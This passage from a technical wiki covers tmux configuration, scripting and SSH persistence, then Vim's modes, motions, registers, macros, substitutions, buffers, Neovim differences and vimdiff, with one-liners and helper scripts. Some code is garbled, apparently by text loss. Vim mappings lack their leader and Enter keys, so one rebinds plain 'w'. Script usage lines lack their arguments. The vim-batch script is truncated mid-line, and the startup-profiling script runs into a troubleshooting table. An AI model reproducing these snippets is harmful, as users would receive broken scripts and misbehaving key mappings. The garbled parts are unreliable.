k select-pane -U bind -r l select-pane -R # Status line set -g status-interval 5 set -g status-left '#[bold]#S #[default]' set -g status-right '#(uptime | sed "s/.*load average: //") %H:%M' ``` `#{...}` is a format: `pane_current_path`, `session_name`, `window_index`, `pane_pid`, `client_width` and hundreds more, listed under FORMATS in the manual. `#(cmd)` runs a shell command every `status-interval` seconds and inserts its first line. Formats support conditionals, `#{?client_prefix,PREFIX,}`, which many status lines use to show when the prefix is pending. `default-terminal` must be a `tmux-*` or `screen-*` value; setting it to `xterm-256color` breaks key handling and colours in ways that look unrelated. If `infocmp tmux-256color` fails, the terminfo database is too old; on Fedora and RHEL it is in `ncurses-term`. ## Scripting tmux from Bash Every tmux command works from a script, whether or not a client is attached. Commands find the server through the socket, so a script and an interactive session on the same machine and user share state. The building blocks are `new-session -d` to start work without attaching, `send-keys` to type into a pane, `has-session` to make scripts idempotent and `capture-pane` or `pipe-pane` to read output. ```sh #!/usr/bin/env bash set -euo pipefail session=dev root=$HOME/projects/my-app if ! tmux has-session -t "=$session" 2>/dev/null; then # "=" forces an exact name match tmux new-session -d -s "$session" -n editor -c "$root" tmux send-keys -t "$session:editor" 'vim .' Enter tmux new-window -t "$session" -n server -c "$root" tmux send-keys -t "$session:server" 'make run' Enter tmux split-window -t "$session:server" -v -l 15 -c "$root" tmux send-keys -t "$session:server.1" 'tail -f log/dev.log' Enter tmux select-window -t "$session:editor" fi if [[ -n ${TMUX:-} ]]; then tmux switch-client -t "$session" # already inside tmux: nesting an attach is refused else exec tmux attach -t "$session" fi ``` `send-keys` types characters; `Enter` is a key name, not a string, so `send-keys 'ls' Enter` runs the command while `send-keys 'ls Enter'` types the letters. Use `-l` to send a string literally when it contains something that looks like a key name. Typing into a pane races with the shell's start-up: on a slow host the shell has not printed its prompt yet and the keys are still delivered, which is fine, but a pane started with a command that is still initialising (a REPL, a database shell) may drop them. Wait on the prompt or use `wait-for`: ```sh tmux new-session -d -s job "make test; tmux wait-for -S job-done" # signal the channel when the command ends tmux wait-for job-done # block until it does tmux capture-pane -p -t job -S - > test-output.txt ``` For output that must be recorded from the start, `pipe-pane` copies everything the pane prints to a command: ```sh tmux pipe-pane -t work:server -o 'cat >> ~/server.log' # -o toggles: the same command again stops it ``` `run-shell` executes a command from a binding or script and shows its output in the pane; `display-message -p` prints a format to stdout, which is the way to read state from a script. `if-shell -F '#{==:#{session_name},dev}' 'cmd' 'other'` branches on a format without spawning a shell. ```sh tmux display -p -t work:server '#{pane_pid}' # PID of the shell in the pane tmux list-panes -a -F '#{session_name}:#{window_index}.#{pane_index} #{pane_current_command}' tmux list-windows -t work -F '#{window_index} #{window_name} #{window_activity}' tmux set-environment -t work API_URL https://api.example.com # new panes in the session inherit it tmux new-session -d -s api -e API_TOKEN="$API_TOKEN" # 3.2+: environment for the whole session ``` ## Remote persistence with SSH The standard pattern is a tmux server on the remote host. Work happens inside it, and reconnecting is `ssh host -t 'tmux new -A -s main'`, which attaches when the session exists and creates it otherwise. `-t` forces a pseudo-terminal, which SSH does not allocate when it is given a command. A [ssh_config](https://www.wiki.jodisand.me/ssh/#client-configuration) entry keeps that short: ```ini Host build HostName build.example.com RequestTTY yes RemoteCommand tmux new -A -s main ``` Detaching (`C-b d`) or a dropped connection leaves everything running. `tmux ls` on the remote shows it as `(attached)` until the SSH connection has timed out, which can take minutes; `attach -d` takes over immediately. The environment a session captures at creation is what its panes inherit. `SSH_AUTH_SOCK` changes on every new SSH connection, so a shell inside a session that has been alive for days points at a socket that no longer exists and `git push` fails with `Permission denied (publickey)`. `update-environment` lists variables tmux copies from the attaching client into the session's environment (`SSH_AUTH_SOCK`, `DISPLAY`, `SSH_CONNECTION` and a few others by default), but running shells keep their old copy. Refresh it in the shell: ```sh eval "$(tmux show-environment -s SSH_AUTH_SOCK)" # re-export the value tmux has now ``` A stable symlink avoids this entirely: point `SSH_AUTH_SOCK` at `~/.ssh/agent.sock` inside tmux and have `~/.ssh/rc` relink it on every connection. ```sh # ~/.ssh/rc on the remote host: runs on each connection, in sh if [ -S "$SSH_AUTH_SOCK" ] && [ "$SSH_AUTH_SOCK" != "$HOME/.ssh/agent.sock" ]; then ln -sf "$SSH_AUTH_SOCK" "$HOME/.ssh/agent.sock" fi ``` Then `[[ -n ${TMUX:-} ]] && export SSH_AUTH_SOCK=$HOME/.ssh/agent.sock` in the shell rc makes every pane, old or new, use the current agent. A tmux server does not survive a reboot. On a personal server a user unit brings one back: ```ini # ~/.config/systemd/user/tmux.service [Unit] Description=tmux server [Service] Type=forking ExecStart=/usr/bin/tmux new-session -d -s main ExecStop=/usr/bin/tmux kill-server [Install] WantedBy=default.target ``` `systemctl --user enable --now tmux` with `loginctl enable-linger "$USER"` so the user manager starts at boot; see [systemd](https://www.wiki.jodisand.me/systemd/). Sessions and their layout are not saved; plugins such as tmux-resurrect restore layouts and cwd, not the running processes. ## Nested sessions Running tmux inside an SSH session inside a local tmux is common and works; the inner and outer servers just both want `C-b`. Press `C-b C-b` to send one prefix through to the inner tmux, or give the inner server a different prefix in its config. A cleaner approach binds a key to toggle the outer prefix off: ```sh # outer .tmux.conf bind -T root F12 set prefix None \; set key-table off \; refresh-client -S bind -T off F12 set -u prefix \; set -u key-table \; refresh-client -S ``` `key-table off` sends every key straight to the inner session until F12 is pressed again. The `TMUX` variable being set is how tmux refuses `attach` from inside a session; `TMUX= tmux attach` works around it deliberately, and is how the nested case happens by accident when an SSH client passes the variable through. ## Oneliners ```sh # Attach to "main" or create it; the everyday entry point tmux new -A -s main # Run a long job detached, log it, and notify when done tmux new -d -s backup 'rsync -a /data/ backup.example.com:/data/ 2>&1 | tee ~/backup.log; notify-send "backup finished"' # Send the same command to every pane in the current window (toggle with the same command) tmux setw synchronize-panes on # Type a command into every pane of the window without sync mode for p in $(tmux list-panes -F '#{pane_id}'); do tmux send-keys -t "$p" 'sudo dnf update -y' Enter; done # One pane per host, tiled, each running an SSH session for h in web-1 web-2 db-1; do tmux split-window -c ~ "ssh $h"; tmux select-layout tiled; done; tmux kill-pane -t 0 # Kill every session except the current one tmux kill-session -a # Kill sessions with no attached client tmux ls -F '#{session_name} #{session_attached}' | awk '$2==0{print $1}' | xargs -rn1 tmux kill-session -t # Save the whole scrollback of the current pane to a file tmux capture-pane -p -J -S - > ~/pane-$(date +%s).txt # Search scrollback for a pattern and print matching lines with pane context tmux capture-pane -p -S - | grep -n 'ERROR' # Move the current pane into a window of its own, then bring it back later tmux break-pane -n scratch; tmux join-pane -s scratch -t work:1 # Rename the current window after the running command tmux rename-window "$(tmux display -p '#{pane_current_command}')" # Toggle the status line to reclaim a row tmux set status # Show the effective value of one option and where it was set tmux show-options -g escape-time; tmux show-options -gs terminal-features # Which TERM and colour capabilities does tmux believe the outer terminal has tmux display -p '#{client_termname} #{client_termfeatures}' # Resize the current window to the largest attached client tmux resize-window -A # Open a popup shell over the current pane (3.2+); Escape or exit closes it tmux display-popup -E -w 80% -h 80% # Watch a pane's output in another pane tmux pipe-pane -o 'cat >> /tmp/watch.log'; tmux split-window 'tail -f /tmp/watch.log' # Use a private server for a throwaway environment, isolated from the default socket tmux -L scratch new -s test # Clear history of the current pane tmux clear-history # List every pane with its PID, so `kill` can target the process not the pane tmux list-panes -a -F '#{session_name}:#{window_index}.#{pane_index} #{pane_pid} #{pane_current_command}' ``` ## Scripts Start a project workspace idempotently and attach or switch to it. ```sh #!/usr/bin/env bash # usage: workspace set -euo pipefail name=${1:?session name} dir=${2:?directory} [[ -d $dir ]] || { printf 'no such directory: %s\n' "$dir" >&2; exit 1; } if ! tmux has-session -t "=$name" 2>/dev/null; then tmux new-session -d -s "$name" -n shell -c "$dir" tmux new-window -t "$name" -n edit -c "$dir" "${EDITOR:-vim}" tmux new-window -t "$name" -n git -c "$dir" tmux send-keys -t "$name:git" 'git status' Enter tmux select-window -t "$name:edit" fi if [[ -n ${TMUX:-} ]]; then tmux switch-client -t "$name"; else exec tmux attach -t "$name"; fi ``` Run a command on many hosts in parallel, each in its own pane, and leave the panes open for inspection. ```sh #!/usr/bin/env bash # usage: fanout "" host1 host2 ... set -euo pipefail cmd=${1:?command}; shift (( $# )) || { echo 'no hosts' >&2; exit 2; } session="fanout-$$" tmux new-session -d -s "$session" -x 220 -y 60 "ssh -o ConnectTimeout=10 $1 $(printf '%q' "$cmd"); echo '[done: $1]'; exec \$SHELL" shift for host in "$@"; do tmux split-window -t "$session" "ssh -o ConnectTimeout=10 $host $(printf '%q' "$cmd"); echo '[done: $host]'; exec \$SHELL" tmux select-layout -t "$session" tiled done tmux setw -t "$session" synchronize-panes off exec tmux attach -t "$session" ``` Report every session, its windows and what each pane is running, for finding forgotten work before a reboot. ```sh #!/usr/bin/env bash set -euo pipefail tmux ls -F '#{session_name}' 2>/dev/null | while IFS= read -r s; do attached=$(tmux display -p -t "$s" '#{session_attached}') printf '%s (%s clients)\n' "$s" "$attached" tmux list-panes -s -t "$s" -F ' #{window_index}:#{window_name}.#{pane_index} #{pane_current_command} #{pane_current_path}' done ``` ## Troubleshooting | Symptom | Cause | Fix | | --- | --- | --- | | `open terminal failed: missing or unsuitable terminal` | The outer `TERM` has no terminfo entry on this host | `infocmp "$TERM"`; set `TERM=xterm-256color` before `tmux`, or install the terminal's terminfo | | Colours wrong or only 8 colours inside tmux | `default-terminal` unset or a non-256-colour value; `tmux-256color` terminfo missing | `tmux info \| grep -E 'colors\|Tc\|RGB'`; `infocmp tmux-256color`; install `ncurses-term` | | True colour washed out in Vim or Neovim | Outer terminal not declared RGB-capable | `set -as terminal-features ',xterm-256color:RGB'` and restart the server | | `sessions should be nested with care, unset $TMUX to force` | `tmux attach` from inside tmux | `tmux switch-client -t name`, or `TMUX= tmux attach` when nesting is intended | | Escape takes half a second in Vim | `escape-time` default of 500 ms | `set -s escape-time 10` | | Home, End, Ctrl-arrows do nothing | `default-terminal` set to `xterm-*`, or the application ignores `tmux-*` | Use `tmux-256color` or `screen-256color`; `cat -v` and press the key to see what arrives | | Copy does not reach the system clipboard | OSC 52 not enabled or unsupported, or copying on a remote server with `copy-command` | Check `tmux display -p '#{client_termfeatures}'` for `clipboard`; enable `Ms` via `terminal-features`; test with `printf '\033]52;c;%s\a' "$(printf hi \| base64)"` outside tmux | | Mouse scroll enters copy mode but selection is unusable | `mouse on` intercepts the drag | Hold Shift while selecting to bypass tmux, or use copy mode keys | | Window shrinks and shows dots on the right | A smaller client is attached | `tmux attach -d`, or `tmux resize-window -A` | | `git push` fails with `Permission denied (publickey)` in an old session | Stale `SSH_AUTH_SOCK` | `eval "$(tmux show-environment -s SSH_AUTH_SOCK)"` or the symlink pattern above | | `error connecting to /tmp/tmux-1000/default (No such file or directory)` | No server running, or `/tmp` cleaned by `systemd-tmpfiles` while the server lives on | `tmux ls` confirms; if the process exists, `kill -USR1 ` recreates the socket | | Keys typed by `send-keys` arrive as literal `Enter` text | The key name was inside the quoted string | Pass key names as separate arguments: `send-keys 'cmd' Enter` | | Config change has no effect | Server still running with old options | `tmux source-file ~/.tmux.conf`, or `tmux kill-server` and start again | | Pane closes immediately after `new-window 'cmd'` | The command exited, and a pane lives only as long as its command | Append `; exec $SHELL`, or `setw remain-on-exit on` to inspect the output | `tmux info` prints every terminfo capability tmux resolved for the outer terminal, which settles most colour and key arguments. `tmux -vv new` writes `tmux-server-*.log` and `tmux-client-*.log` in the current directory with every byte in and out. ## Further reading - [tmux(1)](https://man.openbsd.org/tmux.1): the complete option, command, key and format reference - [tmux wiki](https://github.com/tmux/tmux/wiki): FAQ, clipboard, and terminal-specific advice from upstream - [tmux CHANGES](https://raw.githubusercontent.com/tmux/tmux/master/CHANGES): which release introduced an option - [OpenSSH ssh_config(5)](https://man.openbsd.org/ssh_config): `RemoteCommand` and `RequestTTY` for the attach-on-connect pattern --- # Vim > Edit with operators, motions and text objects, run substitutions over ranges, record macros, manage buffers and windows, and fix paste, swap and startup problems. Canonical: https://www.wiki.jodisand.me/vim/ Reviewed: 2026-09-24 Related: [Git](https://www.wiki.jodisand.me/git/index.md), [Bash](https://www.wiki.jodisand.me/bash/index.md), [tmux](https://www.wiki.jodisand.me/tmux/index.md) ## Cheatsheet | Task | Keys or command | | --- | --- | | Quit without saving, save and quit | `:q!`, `:wq` or `ZZ` | | Save as root after opening read-only | `:w !sudo tee % > /dev/null` | | Undo, redo | `u`, `C-r` | | Delete a line, a word, to end of line | `dd`, `dw`, `D` | | Change inside quotes, parentheses, a word | `ci"`, `ci(`, `ciw` | | Yank a line, paste after, paste before | `yy`, `p`, `P` | | Repeat the last change | `.` | | Search, next, previous | `/pattern`, `n`, `N` | | Search the word under the cursor | `*`, `#` | | Replace in the whole file, confirm each | `:%s/old/new/gc` | | Delete every line matching | `:g/pattern/d` | | Jump to line, to top, to bottom | `:42` or `42G`, `gg`, `G` | | Jump back, forward through the jump list | `C-o`, `C-i` | | Open a file, list buffers, switch | `:e path`, `:ls`, `:b name` | | Split, vertical split, move between | `:sp`, `:vs`, `C-w h/j/k/l` | | Record a macro into `q`, run it, run it 10 times | `qq ... q`, `@q`, `10@q` | | Indent a block | `>` in visual mode, `>>` on a line, `=` to re-indent | | Run a shell command, filter lines through one | `:!cmd`, `:%!sort` | | Reload the file from disk | `:e!` | | Show what a key does | `:help ciw`, `:verbose map f` | Behaviour below is Vim 9.1 or later and Neovim 0.11 or later; differences are noted where they matter. Reference: [Vim help](https://vimhelp.org/) and [Neovim docs](https://neovim.io/doc/user/). ## Modes Vim is a modal editor: the same keys do different things depending on the mode, and almost every "Vim typed garbage" complaint is a key pressed in the wrong one. The status line shows the mode when `showmode` is on (the default), and `Escape` returns to Normal from anywhere. | Mode | Enter | Purpose | | --- | --- | --- | | Normal | `Escape` | Commands and motions; where you spend most time | | Insert | `i`, `a`, `I`, `A`, `o`, `O`, `c`, `s` | Typing text | | Visual | `v`, `V`, `C-v` | Character, line and block selection; an operator then acts on it | | Command-line | `:`, `/`, `?`, `!` | Ex commands, search, filters | | Replace | `R` | Overwrite characters | | Terminal | `:terminal` | A shell in a buffer; `C-\ C-n` returns to Normal | `i` inserts before the cursor, `a` after, `I` at the first non-blank, `A` at the end of the line, `o` opens a line below, `O` above. `C-o` in Insert mode runs one Normal command and returns, so `C-o zz` centres the screen without leaving insert. `C-r "` in Insert or Command-line mode pastes a register; `C-r =` evaluates an expression. ## Operators, motions and text objects The grammar is `[count] operator [count] motion-or-object`. An operator says what to do, a motion or text object says to what, and counts multiply. Learning the pieces separately gives every combination for free. | Operator | Action | | --- | --- | | `d` | Delete (into a register; see below) | | `c` | Change: delete and enter Insert | | `y` | Yank (copy) | | `>` `<` | Shift indentation | | `=` | Re-indent using the filetype's rules | | `gu` `gU` `g~` | Lowercase, uppercase, toggle case | | `gq` | Reformat to `textwidth` | | `!` | Filter through a shell command | Doubling an operator applies it to the current line: `dd`, `cc`, `yy`, `>>`, `gUU`. A capital is a shortcut for "to end of line": `D`, `C`, `Y` (in Vim `Y` is `yy`; Neovim maps it to `y$` for consistency). | Motion | Moves | | --- | --- | | `h j k l` | One character or line | | `w` `b` `e` | Word start forward, back; word end. `W B E` use whitespace-delimited words | | `0` `^` `$` | Column 0, first non-blank, end of line | | `f{c}` `t{c}` | To, till the next `c` on the line; `F T` backward; `;` `,` repeat | | `%` | Matching bracket | | `{` `}` | Paragraph back, forward | | `gg` `G` | First line, last line; `42G` is line 42 | | `H M L` | Top, middle, bottom of the window | | `C-d` `C-u` `C-f` `C-b` | Half page, full page | | `''` `` `` `` | Line, exact position before the last jump | | `/pat` `?pat` | Search: a motion like any other, so `d/foo` deletes to the match | Text objects work only after an operator or in Visual mode, and select a structure around the cursor regardless of where in it the cursor is. `i` means inside, `a` means around (including delimiters or trailing whitespace). | Object | Selects | | --- | --- | | `iw` `aw` | Word; `aw` includes the following space | | `iW` `aW` | Whitespace-delimited word | | `is` `as` | Sentence | | `ip` `ap` | Paragraph | | `i(` `a(` (or `ib`, `i)`) | Parentheses, also `[` `{` `<` | | `i"` `a"` | Quoted string, also `'` and `` ` `` | | `it` `at` | XML or HTML tag | ```text ci" change the text inside the quotes the cursor is in da( delete the parenthesised group including the parentheses yip yank the paragraph >ap indent the paragraph and its trailing blank line gUiw uppercase the word d2w delete two words; 2dw does the same c3j change this and the three lines below dt, delete up to but not including the next comma =i{ re-indent the block inside braces ``` `.` repeats the last change including its count and the text inserted, so a `ciwfoo` followed by `n.` fixes the next occurrence. Count-prefixed dots (`3.`) replace the original count. ## Registers Every delete, change and yank writes to a register, and `p` reads from the unnamed register `"`. Prefix the operator with `"x` to name one. | Register | Holds | | --- | --- | | `""` | Last delete, change or yank; what `p` uses | | `"0` | Last yank only, untouched by deletes: the fix for "I yanked, deleted, and pasted the wrong thing" | | `"1`-`"9` | Last nine deletes or changes of at least a line, shifting down | | `"-` | Last small (less than a line) delete | | `"a`-`"z` | Named; `"A` appends to `a` | | `"+` `"*` | System clipboard, and X11 primary selection; need a clipboard-enabled build | | `"_` | Black hole: `"_dd` deletes without touching any register | | `"/` `":` `".` | Last search, last command line, last inserted text (read-only) | | `"%` `"#` | Current and alternate file names | | `"=` | Expression: `"=strftime('%F')p` | ```text "ayy yank the line into a "Ayy append the next line to a "ap paste a "0p paste the last yank even after several deletes "+y yank a visual selection to the system clipboard :reg a0" show these registers :let @a='' clear a ``` `:echo has('clipboard')` returns 1 when `"+` works. On Fedora, `vim-enhanced` lacks it; `vim-X11` (`gvim -v`) or Neovim with `wl-clipboard` or `xclip` installed provide it. Inside [tmux](https://www.wiki.jodisand.me/tmux/#clipboard) over SSH, Neovim can use OSC 52 with `vim.g.clipboard` set to the `osc52` provider. ## Macros A macro records keystrokes into a register and replays them, which makes it a register like any other: you can paste it, edit it and yank it back. ```text qa start recording into a 0f=lct;"$HOME/bin"j the edit, ending with a move to the next line q stop @a replay once 5@a replay five times @@ repeat the last macro :'<,'>normal @a run on each line of a visual selection :g/TODO/normal @a run on each line matching TODO ``` A macro stops when a motion fails, so a recording that ends with `j` stops at the last line and one that uses `f=` stops on a line without `=`. That is a feature: `1000@a` runs until the pattern runs out. Record with commands that are position-independent (`0`, `^`, `f`, `/`) rather than counting characters. To edit a macro, `"ap` it into a scratch line, change it, then `"ayy` it back; `` appears as `^[` and must stay as a literal escape character (type it with `C-v Esc`). ## Search and replace Searches are regular expressions in Vim's own flavour, which is nearer to BRE than to PCRE: `+`, `?`, `|`, `(`, `)` and `{` are literal unless escaped. `\v` (very magic) at the start makes them special, so `\v(foo|bar)+` matches without the backslashes. `\c` anywhere makes one search case-insensitive; `ignorecase` plus `smartcase` makes lowercase patterns insensitive and mixed-case ones sensitive. ```text /\ whole word /\vfoo(bar)@! foo not followed by bar (lookahead) /\d\{3} three digits /^\s*$ blank lines /foo\_.*bar across lines: \_ prefixes a class to include newline ``` `:s` substitutes on a range of lines; the default is the current line. `:%` is the whole file, `:'<,'>` the visual selection (typed automatically when `:` is pressed in Visual mode), `:.,+5` this line and five more, `:10,20`, `:/start/,/end/` between two matches, and `:.,$`. ```text :%s/old/new/g every occurrence on every line; without g only the first per line :%s/old/new/gc confirm each: y, n, a (all), q, l (this one then quit) :s/\(\w\+\) \(\w\+\)/\2 \1/ swap two words with groups :%s/\v(\w+)@(\w+)/\2 at \1/ the same with very magic :%s/foo/\U&/g & is the match; \U uppercases to the end or \E :%s/\s\+$//e strip trailing whitespace; e suppresses "pattern not found" :%s#/usr/local#/opt#g any delimiter works when the pattern contains slashes :%s/x/\r/g \r inserts a newline in the replacement; \n would insert a NUL :%s/\n\n\+/\r\r/ collapse runs of blank lines to one :%s//new/g empty pattern reuses the last search :%s/\<\(\w\)\(\w*\)\>/\u\1\L\2/g Title Case each word :%s/pat/\=line('.')/ \= evaluates an expression as the replacement & or :&& repeat the last substitute on this line, with the same flags g& repeat it on every line ``` `:g/pattern/command` runs an Ex command on every line matching; `:v` or `:g!` on every line not matching. The command defaults to `p` (print), which is where the name of `grep` comes from. ```text :g/^\s*#/d delete comment lines :v/error/d keep only lines containing error :g/^$/,/./-j join each run of blank lines into one :g/func/normal A; append ; to every line containing func :g/pat/m0 reverse the order of matching lines (move each to the top) :g/pat/t$ copy matching lines to the end :g/^Host /+1s/^/ / indent the line after each Host line :g/pat/s/a/b/ substitute only on matching lines ``` ## Buffers, windows and tabs A buffer is a file loaded in memory. A window is a viewport onto a buffer. A tab page is a collection of windows. Closing a window does not unload its buffer, and the same buffer can show in several windows, which is why "tabs as files" from other editors maps badly: use buffers for files and windows for views. ```text :e path edit a file (open a buffer); :e! discards changes and reloads :ls list buffers; % is current, # alternate, + modified, h hidden :b 3 :b name switch by number or partial name (Tab completes) :bn :bp C-^ next, previous, toggle with the alternate buffer :bd delete (unload) the buffer; :bd! discards changes :bufdo %s/a/b/ge | update run a command in every buffer and save the changed ones :sp path :vs path split horizontally, vertically C-w s C-w v split the current buffer C-w h j k l move between windows; C-w w cycles C-w H J K L move the window to the far left, bottom, top, right C-w o close every other window C-w = equalise sizes; C-w _ maximise height; C-w | width; 10 C-w + grow by ten C-w q :q close the window; the buffer stays loaded :tabnew path new tab; gt gT move between; :tabclose :windo diffthis run a command in every window of the tab :find name search the path option; set path+=** for recursive lookup in the project :args **/*.go set the argument list; :argdo runs a command over it ``` `hidden` (on by default in Neovim, off in Vim) lets a modified buffer leave the window without being saved; without it `:e other` on a modified buffer fails with `E37`, and `:e! other` discards the changes. ## Marks and jumps `m{a-z}` sets a mark in the buffer, `m{A-Z}` a global one that also records the file. `'a` jumps to the line, `` `a `` to the exact position, and both are motions, so `d'a` deletes from here to the mark's line and `y`a` yanks to its position. | Mark | Meaning | | --- | --- | | `` `. `` | Position of the last change; `gi` inserts there | | `` `^ `` | Where Insert mode was last exited | | `` `" `` | Where the cursor was when the buffer was last exited | | `` `[ `` `` `] `` | Start and end of the last changed or yanked text | | `` `< `` `` `> `` | Start and end of the last visual selection; `gv` reselects it | | `''` | Position before the last jump | Jumps (`G`, `gg`, `%`, `/`, `n`, `''`, `:42` and anything that moves more than a line) go on the jump list; `C-o` goes back and `C-i` (Tab) forward, across files. `g;` and `g,` walk the change list instead. `:marks`, `:jumps` and `:changes` show them. ## A minimal sane vimrc Vim loads `~/.vimrc` (or `~/.vim/vimrc`), and when neither exists it loads `defaults.vim`, which turns on syntax highlighting, filetype detection, `incsearch`, a five-line `scrolloff` and a short `ttimeoutlen`. Creating an empty vimrc switches all of that off, so a vimrc should either start with `source $VIMRUNTIME/defaults.vim` or set the essentials itself. This one sets them itself so it reads the same on any version. ```vim set nocompatible " Vim, not vi; implied when a vimrc exists but harmless filetype plugin indent on syntax enable set encoding=utf-8 set hidden " switch buffers without saving set backspace=indent,eol,start " backspace over everything in Insert set incsearch hlsearch ignorecase smartcase set scrolloff=5 sidescrolloff=5 set number relativenumber " absolute on the cursor line, relative elsewhere: counts for j/k set wildmenu wildmode=longest:full,full set laststatus=2 ruler showcmd set ttimeout ttimeoutlen=50 " Escape is recognised quickly, key codes still work set nrformats-=octal " C-a on 007 gives 008, not 010 set autoread " reload a file changed outside Vim when it is unmodified set undofile undodir=~/.vim/undo// " persistent undo; create the directory set noswapfile " or set directory=~/.vim/swap// to keep them out of the tree set splitbelow splitright set list listchars=tab:▸\ ,trail:·,nbsp:␣ set expandtab shiftwidth=4 softtabstop=4 " ftplugins override per filetype set formatoptions+=j " remove comment leaders when joining lines set mouse=a set clipboard=unnamedplus " y and p use the system clipboard when available let mapleader = ' ' nnoremap w :update nnoremap h :nohlsearch nnoremap Q gq ``` `noremap` variants never expand other mappings, and are what a vimrc should use unless a mapping deliberately builds on another. `:verbose set shiftwidth?` shows where an option was last set, which is how to find the plugin or ftplugin overriding a vimrc value. `:scriptnames` lists every file sourced, in order. ## Neovim differences Neovim keeps Vim's editing model and most of its Vimscript, and changes defaults, configuration and extension points. Config lives at `~/.config/nvim/init.lua` (or `init.vim`), data under `~/.local/share/nvim`, and `~/.local/state/nvim/shada/main.shada` replaces `.viminfo`. Everything the sane vimrc above sets is already the default except `number`, `list`, `undofile`, the indent settings, `splitbelow`/`splitright`, `clipboard` and the mappings: `hidden`, `autoread`, `incsearch`, `hlsearch`, `wildmenu`, `laststatus=2`, `ttimeoutlen=50`, `backspace`, `nrformats-=octal`, `mouse=nvi`, filetype and syntax are on, and `Y` yanks to end of line. Bracketed paste is handled automatically, so `pastetoggle` and `:set paste` are unnecessary. Removed: Vim9 script (Neovim runs legacy Vimscript and Lua), cscope, `:hardcopy` and the GUI-specific commands. Added: a built-in LSP client (`vim.lsp`), Tree-sitter parsing for highlighting and text objects, a Lua API (`vim.api`, `vim.o`, `vim.keymap.set`), `:terminal` with a job control API, and default mappings such as `gcc` to comment a line, `K` for LSP hover and `grn`, `gra`, `grr` for rename, code action and references (0.10+, `[d` `]d` for diagnostics). ```lua -- ~/.config/nvim/init.lua: the same settings as the vimrc above vim.o.number = true vim.o.relativenumber = true vim.o.undofile = true vim.o.expandtab = true vim.o.shiftwidth = 4 vim.o.softtabstop = 4 vim.o.splitbelow = true vim.o.splitright = true vim.o.list = true vim.o.listchars = 'tab:▸ ,trail:·,nbsp:␣' vim.o.clipboard = 'unnamedplus' vim.g.mapleader = ' ' vim.keymap.set('n', 'w', 'update') vim.keymap.set('n', 'h', 'nohlsearch', { silent = true }) vim.cmd.colorscheme('habamax') ``` `:checkhealth` reports missing providers (clipboard, Python, Node) and misconfiguration; `nvim --clean` starts without any config, and `nvim -u NONE` is the Vim equivalent. The `vim` command on many systems is a symlink to `nvim`; `vim --version | head -1` says which. ## vimdiff `vimdiff a b` (or `vim -d`, `nvim -d`) opens files side by side with `diffthis` set on each window, folds unchanged regions and highlights changed lines and the characters within them. It is `git mergetool` with `merge.tool = vimdiff`, and `git difftool -t vimdiff` for reviewing. ```text ]c [c next, previous change do obtain: pull the other window's hunk into this one (:diffget) dp put: push this hunk to the other window (:diffput) :diffget //2 in a three-way merge, take from the left (LOCAL) buffer; //3 is REMOTE :diffupdate recompute after manual edits zo zc zR zM open, close a fold; open, close all :set diffopt+=iwhite ignore whitespace changes :set diffopt+=algorithm:patience,indent-heuristic diff algorithm; 8.1+ and Neovim :windo diffthis compare two already-open windows; :diffoff! ends it :wqa save every buffer and quit ``` With `git mergetool` there are four windows: LOCAL, BASE, REMOTE on top and the merged file below. Edit the bottom one, `:diffget LO` or `:diffget RE` (buffer name prefixes work), then `:wqa`; `:cq` exits non-zero to tell Git the merge failed. ## Oneliners ```text " Delete trailing whitespace in the whole file :%s/\s\+$//e " Convert tabs to spaces per the current settings, or the reverse with noexpandtab :set expandtab | retab " Sort the visual selection, removing duplicates :'<,'>sort u " Sort by the number in each line :%sort n " Reverse every line in the file :g/^/m0 " Number each line in the selection :'<,'>s/^/\=line('.') - line("'<") + 1 . '. '/ " Insert the output of a command below the cursor :r !date -Is " Replace the buffer with the output of a filter :%!jq . " Format a JSON selection in place :'<,'>!python3 -m json.tool " Run the current line as a shell command and replace it with the output !!sh " Write the selection to a file :'<,'>w part.txt " Open every file containing a pattern, one per buffer, and jump through matches :grep -r pattern . | copen then :cn :cp " Substitute across the quickfix list (Vim 8+, Neovim): grep, then :cdo s/old/new/g | update " Increment a column of numbers, one more each line: select with C-v, then g C-a " Join all lines into one :%j " Split a line on commas :s/,/\r/g " Change the file's line endings to Unix :set ff=unix | w " Show the character under the cursor as a code point ga " Show the full path of the current file :echo expand('%:p') or C-g, or 1 C-g " Change to the directory of the current file :cd %:h " Open the file name under the cursor, or the URL with a handler gf gx " Diff the buffer against the file on disk :w !diff % - " Spell check with the Australian dictionary :setlocal spell spelllang=en_au then ]s z= zg " Open the file with the cursor at a line, at a pattern vim +42 file vim +/pattern file " Run Ex commands from the shell without opening the editor vim -es -c '%s/foo/bar/g' -c 'wq' file " Encrypt a file (Vim only; Neovim removed it) vim -x secrets.txt ``` ## Scripts Batch-edit files with Vim's engine from Bash, for edits that need Vim's regex or text objects rather than sed. ```sh #!/usr/bin/env bash # usage: vim-batch '' file... # Example: vim-batch '%s/\v/color/g' src/*.md set -euo pipefail cmd=${1:?ex command}; shift for f in "$@"; do [[ -f $f ]] || { printf 'skip: %s\n' "$f" >&2; continue; } vim -es -u NONE -i NONE -c "set nomore" -c "$cmd" -c 'update' -c 'qa!' -- "$f" &2 done ``` Find and dispose of stale swap files across a tree; swap files with no owning process are safe to remove once you have confirmed the file on disk is current. ```sh #!/usr/bin/env bash set -euo pipefail dir=${1:-$HOME} find "$dir" -type f \( -name '.*.swp' -o -name '.*.swo' \) -print0 | while IFS= read -r -d '' swp; do pid=$(vim -r "$swp" 2>&1 | awk '/process ID/ {print $NF}' | tr -dc '0-9' || true) if [[ -n $pid ]] && kill -0 "$pid" 2>/dev/null; then printf 'in use by %s: %s\n' "$pid" "$swp" else printf 'stale: %s\n' "$swp" [[ ${DELETE:-0} == 1 ]] && rm -f -- "$swp" # DELETE=1 removes; default is report only fi done ``` Profile startup and print the slowest sourced scripts. ```sh #!/usr/bin/env bash set -euo pipefail log=$(mktemp) trap 'rm -f "$log"' EXIT vim --startuptime "$log" -c 'qa!' "${1:-}" >/dev/null 2>&1 /dev/null` then `:e!`, or open with `sudoedit` | | `E37: No write since last change` | `hidden` off and switching buffers | `set hidden`, or `:w` first, or `:e!` to discard | | Search finds nothing though the text is there | Special characters unescaped, or `\v` missing; or `ignorecase` off and case differs | `\V` for a literal search, `\c` for case-insensitive | | Undo lost after reopening | `undofile` off, or `undodir` missing so nothing was written | `set undofile undodir=~/.vim/undo//` and `mkdir -p ~/.vim/undo` | | `.` does not repeat a visual-mode operation as expected | `.` repeats on the same number of characters or lines, not the same object | Use a text object or macro instead | | Mapping does not work in a filetype | An ftplugin overrides it with `` | `:verbose map ` shows the winner and where it was set | | File shows `^M` at line 